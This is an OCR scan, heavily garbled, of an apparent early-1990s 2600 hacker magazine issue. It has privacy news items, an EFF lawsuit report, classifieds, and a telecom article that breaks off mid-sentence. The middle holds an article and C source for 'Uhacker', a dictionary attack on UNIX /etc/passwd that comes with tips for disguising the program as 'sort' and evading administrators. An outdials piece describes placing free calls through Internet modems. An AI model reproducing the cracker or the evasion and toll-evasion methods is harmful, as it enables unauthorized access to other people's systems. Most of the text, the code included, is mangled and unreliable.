SPRINT USSR +7-085-828-8985

T T T T L
uﬂlq .,x.__,ﬂﬁl., .xxﬂﬁl., -xxﬁa.m.mﬁﬁlh“ﬂﬁu_h“ﬁﬁu.h“v

WHITE HOUSE FAX

VICE PFRESIDENT 5 FAX

WHITE HOUSE OPERATOR
FRESTDENT S DAILY SCHEDUILE
FIRST LADY'S DAILY SCHEDULE

EXCERFTS OF FRESIDENTIAL SFEECHES
MATIONAL SRCTTRTTY COLTNCIL

OFFICE OF THE YICE PRESIDENT

CHIEF OF 3TAFF

FRESS SECRETARY

FERSMISNEL DEFARTMENT

SUPREME COURT

CENTEAL INTELLIGENCE AGESNCY
FERSONNEL DEPARTMENT

JESSE HELMS
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We've been getling prefty sick of this smug Emm_.u_zm_ that's been
passed all over the place. Keeping people out in a controlled
environment is easy. We'd like to issue a n_._u__.mznw E our own. If
these products are so secure, then distributing a list of those
companies that now use them should cause no problem
whatsoever. How about it?
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Identifving Callers

Caller 1D mania continues to
spread.  Centel,  the  local
independen: phene company of Las
VYegas, recently started offering
Caller ID services to its custamers,
They have one oplion that they
scem to be trying Lo convince
eveérvane not te get: ALl Can
Blocking. Unlike Pér Call Blocking
{where customers dial *67 or 1167
before placing a call), All Call
Elacking permanently blocks vour
number from being displayed on
other people’s phones when you
call them. “All Call Elocking may
prevent  you  from  reaching

residential customers because you -

have no way o unblock,” their little
pamphier says. Centel doesn't allow
buginesses to subscribe to All Call
Blocking. They don’t explain this
decision but we know there’s no
technical reason why this jsn’t
Possible. They alse mislead their
customers into believing that All
Call - Blocking  will delay
ambulances and emergency vehicles
because the phone number won'l be
displayed. Tn aciuality, Caller 1D
will only ke used by those
tmergency services that don't have
Enhanced %11, the service that
displays your number and address
43 500M as you call 911, So people
Who choose All Call Blocking who
don’t live in an Enhanced 911 area
ire probably quite used (o not
having their numbers displayed
When they call 11, In other words,
life as nsual.

This kind of arm twisting and

Spring 1997

fact distortion hag been apparen
ever since Caller 1D first appearcd
on the horizon, Recently, Southemn
Ecll expressed oulrage over the
Florida Puoblic Service Com-
missien’s unanimous ruling that call
blocking had to Be offcred.
Southern Bell wanted everyons to
have their nombers identified,
whether the caller wanied it or not.
Bell spokesman Spero Canten said
angrily, “Thosc whe want le
conlinue misusing telephone service
throngh harassing calls stil] will
have @ convenien! means (o do so.”
The fervor with which Caller ID is
being rammed down oor throats is
reasan enough for consumers to be
hesitant,

Person Identification

According  to  Elecironic
Ergincering Timeys, Sicrry Semi-
conducter Corp. is designing an
analog front-end chip for Caller D
services, The chip uses the signal
sent by the phone company between
the first and second ring and
canverls it to display the calling
mumber. Ti's koown as (he
SCH210/1121] Caller-1D chip and
will be available for about $2 cach
in high volumes, The February 18
article says Sierra will use its cell-
based design tools “to take 3
frequency-shift key demodulator
from a standard modem. and
combine it with 2 four-pole
bandpass filter, input Buaffer,
energy-detection circait, and clock
geEnerator”,
e predicted that the small size

of this chip could signal the starl of
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a trend loward Caller 1D actually
identifying the persen regardless of
the location they're calling frem.
Ken Ercickmer, priocipal analyst at
Action Congalting Inc. of Palo Allo,
CA was guated az saying, “Tt wouald
be a shame if the techoological
poessibilitics of PCNs (Perzonal
Communicalions Meiworks) were
Ipst Becanse of a concern on privicy
that might well be conzidered
cutdated,”

Or meybe, just 2 little too
inconveniznt,
Credit Release

Our lacal majer paper, Long
Island Newsday, occasionzlly comes
up with an intelligent edilorial, The
lziest instance of this cccorred on
April 2nd when they called for
Congeess to  pazs  legislation
requiring - credit reparling
COMmpanies (o send cvoryons a copy
of their credil recerds onoe a yoar
for free. It's aboat time the media
latched onto this. We've been
yvelling abouol this gross unfairness
for wezrs pow. Credit agencies have
files on praclically cach and every
obe of us. Most people never even
koew aboot these files nntil hackers
started uncoveriog Lthem in 1984, In
order to sce what's writicn about
you, ¥ou are [orced o pay, ong wiy
of agother, TRW offers their
Credendials service which “allows™
you Lo sce vour credif report
whenever vou waot and find out
who's been accessing your file, Mot
anly do they charge for this, bat
they actually try to get more
information on vou when yeu apply.
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in the interest of accuracy, of
course, It gels worse. TEW now bas
SO0 pumbers that charge ouirageaus
amounts for this infecotation: 5135
for a fax copy of yoar credit repart,
§25 to get it sent 1o you oveérnight,
aned 31 a2 minuie (52 for the firsd) to
hear wour crodit report cead Lo yoo.
And that"z ooaly Tor memberz!
TEW s 800 number remains for
people whe want 1o lalk abouot
sipoing vp. This blatant rip-off and
invasion of privacy has been
telersted [or far oo long.
Credit Due

Recenily, one of pur sizffers
received a check from a credil caed
company, In actuality, the check
was an unzalicited logn, something
this company does guite [requenily,
in the hopes that the custemer will
deposit the check and instantly start
rackiong ap interesl charges on the
Tozn. But this time it was differeat.
Aloog with the check came an
itemizalion of hew it showld be
spent. The ampunt of moeney ¢ur
slafiperson owed on bank credit
cards and retail credit cards was
prinied, How convenient. We
wonder if Lhis doesn't consfitute an
unavthorized ook at someonc's
credit reporl. After all, they had (o
have looked at the credit repart to
know bow muach was owed, Yel,
several weeks after this oocurred,
TREW Crodentizls (to whick oor
stafler foolizshly subscribes)
reporied no inguiries had been
made.

And they wonder why hackers
try to hold ooto their znooymily.
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Modern Times

We are lold that there are no
more crossbar central offices in the
212 zrea code. This meoans no more
deep baritone rings or busy signels
that make your spine tingle. 212 is
now completely electronic, We
wonder though, why it is necessary
for all of the rings and all of the
busyz {o sound cxactly the same.
The new modern switches are
perfectly capable of aliering the
sound. While standardization is
obvipusly {he go2l hére, monotony
and lack of imagination den't have
to be part of that.
Whose Scam Is It?

There was an inlefesling scam in
Mew York a ceuple of months ago.
It seems the owner of a 212-540
number (540 numbers are generally
rip-offs that charge oulrageous
amounts when you call them) had
gonc through an exchenge of paper
numbers and peged a whole ot of
people with his 540 nomber. Well,
what de you think happened? A
bunch of eenfused people wound up
calling the 540 number and, when
Lhey did, they each incurred a
charge of 5531

Local law enforcement is very
proud of the fzct that they caught
this person. He did, after all, page
evervone with hiz phone number,
But apart from being & real sleaze,
we fail o see what the crime here
i5, A person calls a bunch of pagers
ind keys in his phone number. As
Far as we krow, Lhal is not 2 crime,
When his number is called, an
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incredible charge i& incurred,
Again, Dno c¢rime iz heing
comumitled. The 540 cxchange in the
Mew York area i set up to take
people’s money, That's where he
real crime is taking place every day.
Suoch exchanges should not be
azllowed fo blend i with the
SCROErY.

The phone companies make very
little atiempt (0 warn consumers of
the charges they can receive. Any
system where simply misdialing one
aumber ¢an resull i oa huge bill or
where an eéxchange is a premium
exchange in ene area code bot not
in anather is a flawed system. As
usual, hetween the phone companies
who make out like bandits and law
enforcement people who have as
tlittle grasp of the technology at
work as the average cilizen, the
fzcts remain distorted and confased,
Eternal Vigilance

Anather slezzebell operalion in
MNew York conceras private
pavphones (COCOTs), Tt seems that
a particular company had actually
turned its phones into “calling card
thieves™. The phones had been sct
op to record the calling card
oombers (hat were being wvsed,
These numbers were later sold o
drug dealers and yoo can probably
predict the rest, There aré an
incredible number of situations
where what you are dialiog can he
recorded. Take hotels, for instance.
Every time you dial something from
a hotel room, it's probably being
prinfed out for hotel records
somewhere, This includes any and
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all nambers you dial after calling
the phone oumber, While mose
hatels won't sell yvour calling card
numbers (0 drug dealers, the
potential iz always there. And then
there's the garbage....

Hlegal Networks

Accordiog o The Ecodomisr, the
German Postal Ministiry {they run
the phones) discovered 23 illegal
private lelephone pelworks in
gastern Gormany, including ooe
formerly controlled by 3lasi, the
sectel police, Becanse of a shorlage
of telephone lioes in easiern
Germany, the networks will be
allpwed to continue aperaling for at
least another year,

EFF Lawsuit

Om May 1st, the Elocoonic Fronber
Foundation filed a ¢ivil suit pganst the
United States Secret Secvice and others
involved in the Steve Jacksgn Cames
raid of Jast spring (sec our Spring 1590
sz 10 relive that mosnent of hastoryd,
According 1o EFF Staff Counsel Mike
Godwin, Jackson was “an abselutely
innpcent men to whom 2 grave injusbice
has been done”, Jackson's business was
ncarly driven to  baokropley. 2
mabuscrpl and geveral computers werg
taken, end private clectronic mail was
gone through,

When asked how impaortant it was
that Jackeon not be considesed a backer,
Godwin replied, "First, the rights we
ergue in fhis case apply (o hackers zmd
non-hickers alike, so il°s nol as il we
wore secking special trextment under the
law for hackers. Evervbody wses
campalers now, s the rights 125ues
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raised by computer searches and
soizurcs affect evervene. Second, the
facis of Steve’s casc show how muddy
the government's distinclions belween
hacker and non-hacker, and betwesn
crimingl and non-criminal, have been
Sleve Jackson was pever e farget of a
cristingl investigatioa, yei atl least ome
decret Service agent (old him that hus
GURFS Cyberpunk book wis a
handbook foe compaier orime.”
Crodwin said the interests ihat
Jacksom zndd the EFF wanl Lo protect

“derive  directly  from  well-
voderstoad Constitutionzl prisn-
ciples™.

We're glad to see groups Like the
EFF emerge and slart fighting back.
We encourage suppart for their
effortz, They can be contzeted at
B17-864-0865. IU's goiog to lake 2
lat of awareness and vigilance on
evervene s part o keep these
injustices from occurring again and
apain,

Prodigy Invading Privacy?

Those wha argue against hackers
glmpst invariably poriray them as a
threat (o our privacy, “Breaking
intp my computer is like bresking
inlo my heme,” is a pbrase heard
quite often in thai camp. Mever
mind thal backers are generally
uninterested in personal computers
but go instead for maioframes aod
oini’s rum by huge corporations and
instizufigns,

We wonder what their reacton is
now 1 the news (hat 3 huge corporation
has boen breaking iolo persopal
compulers Al over the country, Sor of,

Tt seems that the online service
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known as Prodigy, run by IEM and
Sears, has been writiog a file galled
STAGEDAT on its subscribers’ hard
drives, This file is supposed [0 confain
jnformation concerning the user’s
configuration, which screens hie uses
frequently, and other details designed to
malke hiz Prodipy session interzctive and
fast. But recently, Prodigy subscribers
have hoen dissecting their STAGEDAT
files ar«d finding bits and picces of files
that Prodigy has no businéss possessing
- evervthing from personal leiiers to
detabazes (0 directorics of the personal
carnpatce.

Many subscribers were outraged,
saying they had oo idea this information
was in the file and demanded 1o know
bow it got there 2 what Prodigy was
doing with it, Prodigy and its supposiers
claim that it's an inherent trait of MS5-
DS 1o pat hits znd pieces of previoushy
msed files in the space allocated to new
files. Full directories were often
incheded in this manoer.

While 31°s quite likely that this is
exactly what happened, we find it maore
than a licfle disturbiog that FPredigy
supporlers are 30 quick to drop Lhe
issue, The implications herc arc
downright frightlening.

First off, why is it s0 moch casier ta
believe the intentions of Prodigy (han it
is to believe the intentions of an
individual exploring s wide open
compuier systen? After all, if we mave
s guickly to prosecule fCcnagers
suspected of downloading text [rom 2
huge corporation. shouldn’™ we be
moving just as guickly when a huge
coerporztion is suspecied of downloading
text from an individual? Prodigy 2ays
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they were not locking al any personal
data but how do we koeew this [or sure?
Heve thers been raids in this case?
Seized equipment? If these actlions are
g0 important and necessary in the course
of an investigation, why then havea't
they oocurred?

The togic is clearly flawed, The laws
are only effective if they Meat everyone
equally, Prodigy seems o be geiting a
fair dieal, They're able 10 explzin cxactly
what they were doing end why what
happened happened. They're being
given the opportunity to fix their
programming so personal data is no
longer captursd, We strongly doubt the
authorities would be so fair if this was
an individual accidentally gainiog
access 10 corparale secrels,

Apert frem that, there iz 8 much
higger issue. Personal computers are
wide open, If you give access to
someone, they can quickly find cut a
whale ot abeot vou. If someone at
Prexdigy were (o Look at the dala in a
typical STAGE.DAT, they wouald
probebly come across edher file names.
They could then rewrite  the
programming §o lhose files were
socessel. And what happens when the
authoritics realize thal they can access
people’s persenal files through their
Procligy eccounts? Might they use that
ability as a *high tech weapoa™ (o catch
criminals?  The possibilitics are
termafying - and endless.

Putting faith in a commercial
venture (hat bas dircoe access o
vour ¢omputer is an acl of witer
foglishness. This little escapade
may have at lcast taught peepls he
dangers of such selups.
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unix password hacker

by Tha Infidel

When woa're hacking a ITNTX srstem,
it's always good to have at least one sparc
poconnt g hand Lo esse you loge veur
curreat coe, of lo casze YOUE SUFTeRL
permizaiong arent grest epough o allow
yoa ta get root nocess. (I'm assoming Lhe
render hos o bosic understanding of the
TTNTX nperating system - there hove been
quite a few articles sbout the tepie here
inthe pact.)

Thiz peogrem avtomates the process
of hacking users” passwords, A while
back, Sheoting Bhark wrele a similar
program, bul itz major weaknesses were
that il could be casily detected by a
gyslem adminisiraler and it coald only
hack one wser’s passwerd at a time,

Backyround

The thecry behicd this program fa
pelatively simple. Each noer han an entey
io il fetopasawd file, which erataine tle
uzername;, o encrypted copy of the neer’s
password, and same other relevant
information, such as the aser™ id, Fronn
id, home directary, ond login proccss. Al
ooy raie, whal's imporlaot here s the
oopy of Lhe encrypled password.

Ooe of the available avstem calls Lo
the © pragramoer voder che THIX
aperating ayelem is coypih Buill icta
every UNIX keroel is 5 dats eocevption
slgaritho, bezed on the DES encryption
ethod, When a uzer eater the “paeged”
eapmand to change iz password {or
when the eystem adwdnistrator assigos a
new vEer a pasaword), the crvpt(s spatem
call [8 made, wkich thes encerpis the
selected pacsword and places a ooy of it
inle the lile fetcfpasswd, which iz then
referred Lo whenever & user lries to log in
o the sylem.

Now, the standard UNLX password is
somewhere between 168 characlers long
(verious voersions, such s Ultrix, allow
mzeh lonper passwordsk IT yon wrete &
program: that wanld sequentially try
every peszikle lowercase claractor
gedqaence, wiald take akoni 3*10503

rtiempts, which tranzlates iota a little
pver o million years per complels
pasaward hock per user. And thal was
jost lowenease letbors. ...

Hinca I eant wait thot long, there bos
e ke a bether way o do this - and there
is. Far the moet part, average,
rrassaming users ane pretby sareless and
roive. You'd be surprized what I've fond
being nsed by people for pasawards:
radical, jashun, computer, password,
kevhoard - veory =imple ta crock
pazswoards, These are cartainly net
worthy of a millien year hack attempt,
{Hiewever, something like UIrikdent! ar
lamelite might be) Loucky fer us, every
UNIX packegs comes with a spelling
checker, with a dotahasc wsunally
coolainiog vpwards of A0,000 entries,
lecated at fustidict'words. Since every
owaey has read nceess te this fle, aor
propTam will simply rend cach word in
{ram the datobase, one at a lime, ecrypl
it, and compare it against the eccrypled
passwords of cor largel users, which we
gob off the felo'passwd file, By the way,
wyery uwaer must have read access to
feledpazsed b erder for the svallatle v
ukilities to werk.

Mew gome syslem administrators
reading this may nst lock out rend aocess
i the galine dictionory, or simply remove
it from the syslem. Fine. Praobably
everwene Teading this has access to o
apelling checker they use far their waord
pracessnT ot home. Since many use
sunple ASCIT text files as their datahase,
wou can simply wplead your spelling
checker database to your UNIK site and
eagily modify the pasaward baeker's
*Jict” variakle to wes this new detabage
mstead af the defanle. The formwt of the
dolabasze iz simple: Lhere moat be anly
ane word per line.

Using tbe Fassword Hocker

Thiz pragram iz very =imple o use.
[we tried be gsc slandard O code =0 Lhers
wirdld be o compatidilily problems fremn
svslem to swsiem. Ohvicusiy, 1 haven'l
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tested it on every verslon of UNIX
availoble, but pou shouldn't really have
any problema. This program achups
jtself, meaning that even aller you kg
off the svatem, it will conlinus to men in
the hackground entil completion. On
some lerminel configuraticne, this
method of nohuping may leck up the
terminal after logout antil Uhacker iz
doge, On these sysiemms, just remaove
the line in the source and nehup it
mannaliy or run it ol F el the C shell.

To compile the program, sismply
Lype:

o -0 sort UThacker.c

end within a half minate or uo,
you should heve & working copy
online named “sort”, Thet way,
when you run this progremm, it will
lgak Lo the system adminisirater
thot you're jost runaing some kind
of lome gorting program, which of
course, you named “zort®, like all
good firat year computer science
majors do,

Uhacker will prompt you to
enter poch userneme you wish to
hack, one ol a time, If it's nol =
valid user, the pregram will tell
you. ¥ou can hit conlrol-c to abort
put of il at any time belore you
terminate the batch sntry. Afcer
vaou've entered all the veernemes
vou wish to hack, simply enter "7
as the finel username, The program
defaults to o maximem of ten users
being hacked nt o lime, but you can
engily make it pecepl more. At ony
rate, when the batch is complete,
the progeram then jumps tote the
backgronnd, autpuls the
hackground pracess’ id npmber,
and gives you yoar ariginal shell
back, That way, you can go on with
whatever it was you were doing,
while the program hacks away. The
number  output as *Proces3
Muomber:® {3 the precess id number
for the background process now
running Uhacker. If ¥ou have to
terminate the WWhacker wery
quickly, after it's in the
backgrennd, just type "kill -9 xxx”,
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where xxx 19 that process pumber.

When it"s done, the progrem will
gend its ocuiput te the [ile
“ pewers:®, & stendard file thet's on
evervone's directory and will
atiraet no atiention. By running
the program with the -d option
(sart «d}, i1 will run in debugging
made, in cage you don't think
things are working right. Again,
.neware will 1ell you what's going
[Hi=

When I wrote this progeam, it
wos with gecurity in mind. Non-
fatel interropte are lacked out from
the process, so caly & kill command
can terminale it oace it™s slarted,
Logging out of ¥our accoanl will
mat kill it either, ea vou can let il
run and cnll back later to pick up
the results. There 1o ke way any
noey aystem adminiatrator can
kaow what you are doing, even if
he triecs ruoniong the pragram
himzelf, hecpnse there’s no texl in
it to give il away, Wo uscrnames of
dictionary file names will appear in
any process lizts or command
accaunling logs. The only way you
can get caught using this is if
someane rends the .newere file,
which {8 written to anly after the
progeam haos finizhed. But this ia
an innosent file, g0 ao one would
ook st it enyway, Also, dan't leave
the source code online. Typing
“chmod 100 sorl® will allsw you e
have execule access to the program,
to keep mosy uwsers saway from it,
but etill wan't keep the soperoser
[rom runming il.

#o hew long does this take? On &
VAX, ronning with enly five or 5o
users, with a light load, it will take
ppproximately len minutes per
peermeme ¥ou've entered into the
bateh. With & heavy lead (20s
unzers, loed average greater than
3.¢0), it ean take op to an hour per
uwsatpame in the bateh. You'll
really just have to experiment aod
see how things work on your
syetem, Have fun!
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el

* JNIX Baleh Pessword Haciar: Uhacker.o
*Written Ey Tha Infidel, BOYWare Productions, 1281

*;

#nctuda =stdio hs
#include <=pwdhs
¥include <eignalhes

smect pocd
H
char pami[16];
ehar erpwd[20];
h
siruct passwd *pwd;
int L, batchs, sounlk, __mﬂ“
elerr “pw, dletwd{E0];
slatic char dict]] = “usndictwonds™;
siatic char dala]] = “.newant™;

Mol needed by all UNEX C compllers %

int endpwent(); * Cloae fele/praswd Ha ™
ehar "strepy{), "oy pt), "getpass(], *petlogin);
siruct passwd *getpwnanme];

mairdarge, argw]
irk arge;
char "argv]]:
{
FILE *fopend), *ifp, "ofp;

strnsct acct usar{11];

 {arge == 2){
i (Mstremplargv[1], =-d"1
1kag = 1;
elsa |
pEindt {“Incomrect usage.\nwl;
wait {«1];
: !
M {{itp = topenidict, *r) == HULL) {
print&=invalid sownee Filsnnm;
exit{-1};

1
il [{odp = fopenddata, *w™)) == HULL) |
primtf{~Unable 1o open data Haniny
axil)-1];
H

printf {*Enter input. Terminate balch with 8 970"
Boaf [1=T 5 B oz 115 )
i

printf{= #36d: =, [);
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seant (“4a", userilnem);
I {ladremp{useril].nam, “q7)
g muef[ILnam
il (pwd = ped pwmam{uset[L.nam
Eiuz:ﬁ::u..ﬁnﬁiﬁﬂuﬁ:. userfll.namj;
=5

wina |
sprintiuserfilompwd, "8, prc-par_passwd)
}
1
Hil==1){ .
v;:i_nlhﬂua_._.:u_ﬁniq_ﬂ_._ﬂr..: [
axit{-1);
}
batehe = mm
count =i

l=forkl}; & Creala & chikd process to do the scanning
Wik i

prntl (“nPrecess Hmber: im0 4

$Xit [0} & Termingds the parenl process 10 give us our shell back *f
u__w_.._m:ﬂ.mn._._..m_ﬂ HEH]; ©~ Child now In backgreund, Lock o inferrupts H
slgnal (SIGCAAT, SHG_BEN} Lock oul el guit -ﬂuih.u-,__ﬂﬁ..: e

nal [SHEEHUE, SKE_KEN]; ~ lerminal koks up aiter .

et o9 fina. Syelem won'l suppo selfnohups ¥

il (Rag == 1)
._"uu_—..m._.-uw".ﬂ._ﬂ_ o Tk
for {i=1; 1 < Belcive; ++)
Iprnthefp, “%8 - Hatn", vserilnam, usar|].crpwd);
tprimt{ofp. Ll H
}

whille {fget={dictwd, 20, Hp) 1= HULLY |
i (dictwalstirlen{dictwd}-2] == ¥
dictwdatrenddlctwd)-2] = “0';
glse dictadstriendictwd)-1] = "0
for (i1} 1< batehes w4l |
pw = cryplidictwd, uaer[ilerpad);
B {telremplpa, ussel) ] erpwd)) §
Tprini¥ofp, “%8 -== st uer ] nam dieinnd ) §
—gaurd;
i fecunt == @) [ )
fprintl [ohp, “Job compleledinnn
BEi{d};
H
}
: !
if (ool = batcha-1)
ipsinkRcfp, *Urmpepasshil nnl;
else fprinti{alp, “Job completed.\nin™);
endpwend(};
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The Sequel

TEXAS OEPARTMENT OF CRIMENAL JUSTICE
INSTITUTIOHAL DIVESTON

CLRECTOR'S =EWEEW COMMETTEE

PLALICATION DECISECR FORM

HAME Ted KE.
UWIT DATE

Title of Bbifcaticn

Y2500 Magzrine® Fall 1990 %7 K3

The Cirector's Rewfew Connfttes has rendered the Following decision
ragarding your publicetion:

[ 3 Te= MSIP decizion nat ta 2119w you to recefye Ehe shoye
purlizanion kas heen céveried, Tou Py expect 1o receive the
puhifcation ghertly,

frt The MECP decision mot ®o allow you to recelve the abowe
publicatfen has been upheld.

i | The pubMcation will ba ciTpped.
Fege{s} _

fyb Tre pualization will rot be clipped.

(1 The pudlifztidn {oataint contreband 1tesdisl.
g Contrghasd wEiE be Fevaved,

CEl  Unit ¥ailroor
260 Enterprises
file

Ye¢s, the appeal has been denied. Qur entire Fall 1990 issue has
been deemed unfit for Texas prisoners. (Part 1 of this saga can
be found on page 42 of our Winter issue.)
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Internet Ouidials

by Mevin
e

Tha following s 2n wiroduction 1o ore of
|mmmap Kmooavn fecrsls of the inlesrsd: oAl
While macy poopls hive known sbout wayd B2
(Eal fote tha not aed accems Lelnet of RS, many
Furwe rol discoened e outdfala

Curdials put almply, are modema That you
can rammsalehy cinrect bo thicugh the |rbernet and
ups to maks calls ta the cutside phong nel
Oty This alkoes. e 10 mate fres ard legal
it that pight ceherwiss post ua keng Cistst
charges of help get da irka 1eaubile for ﬂ._.hn
methradn, There aca drawhacks though, Fisst,
slnce you ane QoY thrcuagh 1he mede, .___F_........_
have & noticestdn delay i pour reapoca ime.
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§ ther tyse “Hegin modam™
3 S b e Esgw TEIRET .

halted and even discennecied. OT thass
draedscia, the daley Wil ba the mast annoying.
Kesp 1hés bn mird as you &1 in frord of your
rrrariter wating o your data [0 aThee.
How To Da it

In gedar te reach e cutdals, you must
have 3 way B eccess talned, fip, or ks sl 1o
rlegin a1 siher sitas, B you havs 3o0esk 10 tha
abowa, you aimple type tha Tallewlng
commands:
todnat MK K
fip LMK
riogin LK. X
[arhara tro 208 & na o addieds)

I o ki pob complenaly undaratand fele,
ftp, of degin, you ahaald check B8 anling holp
ar the pyalem thal pou 202 g into.

s Legand
MEA ArEE Eodal: Lhis:
wherE (5 Al yil ke wil
it TrTE 2T el 1t )
Ty a3 ATl wired e NOA e
aG mpECE A0EIE AhBrEeialian
shiir iT i penaca ity tele g M

MEETINGS. First FOisy of i mwalh

2t the Cisoorp Center--from 5 o & prin the
lobby near the payphones, 153 B 55rd St
WY, besween Lex & 3nd Come by, doop ol
articles, ask goesticons, Call 516-751-2800
for more info. Payphons numbers at
Cificorps 212-233-0011 2122352327, 212-
J0E-8044, 212-308-8162, 212-203-8184.
Meetings also tmke plece in San Framosmo
2l 4 Embarcadere Flata (inside) starting ar
5 pm Pacifve Tt on the st Friday of the
month, Pavphone nombers: 415-393-
QTE 45,6

EPY SHOF CATALOGUE, Evenything Fom
Jock picidng toals to shm gons, from bl leprond
el 00 b fomcides, frowm tebephons roniboring
gyeieans i High fech serume someniblons, b, togs,
systemns. 150 ogpes of inekegroaumd indfnration,
s, fod oguprment. Send £F chedc or roney
arder x Bug Busters, PO e 978, Dept 225,
Shoreham, MY 11755

1AM LODKING FOR SOMEQGNE 1o
trzde info on hacikisg asd phreaking. Alsa I
want 10 boy differeat (oolored) boxes, Wi
¥ Bramdon Erieg, 2830 MW 44th Se, Toca
Fawa, FL 33434,
TECHNICAL SURVEILLANCE
COUNTERMFEASURES, communication
engineening services, Foss Engineering, Inc.,
706 Hope Yalley Court, Adamatesn, MD

2710 200 US-DEBLMG.

WOULD LIKE T HEAR FROM and
Ererespond with hackers here and ahroad.
Flease el after & prn EST, Edwand 301-702-
ww....q_wﬂ.: Dallas Dr., Temple Hills, MD

.nn__.u....u__u.m FOR SALE: Perfect working

S Sebdition, reoeved from service: Credin card

Bal¥ type, has card reader hailt inta oit,
w._w..__....:.dﬁﬂiq speed dial. S0 each plos

shipping. Call or write for info. Bl
Hﬂﬂn:. 2030 B, Charleston Blvd,, Las
umﬂwrz.,_ EDI04. SO0-855- 8501, (702} 3&2.
“O0KING For SOMEONE 1

=
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As T would Lke wr ask qoestions, please wrine
me directly. [f yon wish 0 wse 2 nickname
1hat’s Ane. Just make sure yon wrile il as
voor refurn sldress o it won't gt (o me.
Victor Meodoma, 9201 NE 24th S 410214,
Avranillo, TH TS 107-060],

OLL TAPES of telephone recordings, rings,
baxsws, eic, wasied for radio progrems, Also,
current recocdings and foany phooe c2lls
welcome. 5end to Ermmance], PO Box 59,
belocdiiliz Teland, WY 11953,

TAF BACK [55UES, complete ser Lss
1-91, high quatity, $350. SASE for index,
infa on other holdings. Fobert H., 1208
M TOeh, Wanwatosa, WT 532013,
FORTABLE DWELLING  INFO-
LETTER: Abouot Living in tents, yorts,
diwras, wans, trailers, boats, wickivps, remole
alias, and ather mohile or quickiy made
shalters.  Sample %10 POE  190-100),
Froloenath, OR 97570

TAF BACK 155UES, complele set
¥ol 1-9]1 of QUALITY copies from
ocriginals, Includes schemalics and
indeaes. 5100 postpaid. Via UPS or
First Class Mail. Copy of 1971
Esquire article “The Secrets of the
Little Bloe Box™ 55 & large SASE
wi/i2 cents of slamps. Fete G., PO
Box 465, M Laueel, NI 080354, We
are Lhe Originall

Marketplace ads are frec (o
subscribers! Send vour ad to:
2600 Marketplace, PO} Box
04, Middle Island, NY 11953,
Include your address label.

Ads may be edited or nol
printed atour discretion.
Deadhing for Summer issue:
1591,
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The New LEC Order
Acronym City

by Mow Hack City

A geeeral  Cferwerd  movement el
selpensmanicaticns compacies Lo 3_"_..",:.
themectves for TS0 e bovn revolutsoaling
ihe LECE + 1F0s, FPararlng oo the chznges o
tbe icaditicnal, already-existing  tele-
rommunizaticns netwark, it is clear that
swiichis boe mmere Tezdy B pot ondy carmy mees
{raffic, bul ready to sepport more Than the
tradifional onalcg voicefone chameel per
seipcoit® (by circuit [ mesn ool oaly LEC
interoiTiee mosmsge branks and sporial servioe
Fircaite, bat ostoamer leop plast e as wl)
arrrice, becoming sollware.driven sbroctares
that ot only support molti-channel digital
Jdats ecenmmunicalioss. ond high traftie, bot that
allow tetter sdaninistration of themeelses by
the LB, Ared ot ooly ewitchos bave chassgod -
imbemTiee circpils have medamerphostzed fom
analeg, single chasnnel, pobiic sessoge lrunks
nsing MF aignalliog on a copper wira Into
Jdigital, rvalrichanme] furing FOM snd T,
private/publiz earrlers oeing COES 00CIS)
sigeallicg on a fiber eplic cable, redin wave,
Tmicryware, of even a matddlibe. Even kg plant
emtarcer lines am being ol Gplenod, such as
the DOV TET0 line.

TUs cbwions that LECs canted aostisne b
ape the zame (eeilittea bo provision, operals,
and keep records on these new ewitched,
=aircoita® (inss, puble messsge frnsks, and
apecial  wervices circmital and  other
Llimenadoations mquipieat {pleg-in, DAL,
cte.n Many 0S5 cennot handle this oew
technelegy, nd only throwgh intensive
maespAWEr AN provisianiag, cperaling, _“_b.“_.
reoord-kerping of these new Lezhaclogical
eepvigen be done, Complisated “BC servies
i rs® &1 often mnpressshle by both MIEAR
wod COSMOS, fndng RUMAC personnid b nok
cnly Lranelate the BC servics arder for Lbe
spesific switch laed mwilch werslon], bot Lo
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eater the manzally translated BL service
crdere into che specific switch. manaally.
LFACSH 13 anotker bogged down prelem with
Jiffiewlt-to- process =eoviee orders fir digital
oo carrier syuleom, foonng LAC L Coimpliete
the order. Mok anly 15 1he examrios eanpreer
Turing usead, Bt costomer grders for servios A
olbem T kegged, mnalring e wik for meniths
foor Uk Erevioe to be i erveenbod y

whith i where BELLCORE €208 1D,
BELLOORE, ameeg cther things, methanizes,
resimocinres, and "updates” the LEC mtem
(fpdate” kas bwo meanings - updating lhe
nelwark at atge by adding new sayelids -
whith is done at e care of the BELLCORE
cagineering planning brain, ur _._.._"_.“_.u_.“mu.n. a
speific part of the network, sy wpdating an
053 e inclode knowledge of the Jatest batch of
newly invented cirewits « which in moee of &
deteile kind of thing shas BRELLOCGRE doesh
Just Rilowlng one 055, auy TIRES, one o aes
all thiee of thees ARLLOORE fanctiond 1o
petbon: TIRES is obwioosly updated on the new
kinde of cipcaits, for it net cely keepe Lruck of
ull Sreaits on it "Aubanese” bok il s ted =
desyErdng new deenlis s well; TIRKEs CIMAFP
medele hopa  S300000 communications
mechasized ss TIHES ha= pubcmated
communicalices with FICS receatly or well;
and reatructuring ean be gsen in TIRRE
restEncturing from one large (485 with ane
deipbage, into three =eparate modebea:
enpinderiag omd plannicd, poovisicoing, _"_.._.__"_
operations [tk CIMAP medulel, coch hawing
Lks cmen datahase. Acinally, the entice LEC
gyelemn i bocoming divided into thess thro:
parts {eogneericg od plansing, provisioCing
and operabime),

BELLLOAE has had g pet project that B
Le#n goewing =L it since its intcphios
integratiop FACS ond TIRRS. AF sperial
servies direeith poctiferate (heF now acaneat
for half of interoffice elrzaits), inlerolTice
rewsts hocome Tees tings &3ded when crodfic
betwonn fwn awitdses grows, snd more things
ihat are provirlonsd from service orders -
almoet ke & Moo im this sivavbon ntegrating
FACS and TIRHS beging to make seasc.
Annther eeasen For the integration is that
TIRKS nercasingly needs infermalica trom
Fars Snformation aboot the e eakenp ea
that TIRES can doesign special scrvices
viccuitel, and this information i 21l sent Lo
TIREA...nacually, Fo besides cireclh
pruvisioning requests comlng oo and mece
Trosn customer seevice orders instead of
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sugRmstions by broffe analveiceg Do, more
eordinaliom in reedad Between the loop planl,
switch, and cirenit provisionors o provisicn
spesia] services alfeclively, since all three ars
favolved in the speciel services cirenit
PIovisinning process,

The ralin BELILLOEE plars in itk updating,

erchasigieg, knd sestroctarng of ke overall
petwork, the veoy core of BELLCORE s
techoleogieal division™s master plan for LECW is
the re-apbddivision of the LEC wy=tem. The LEC
syatem 3 canently baslenlly sub-divided into
the diferent parts of the telemommunicaboos
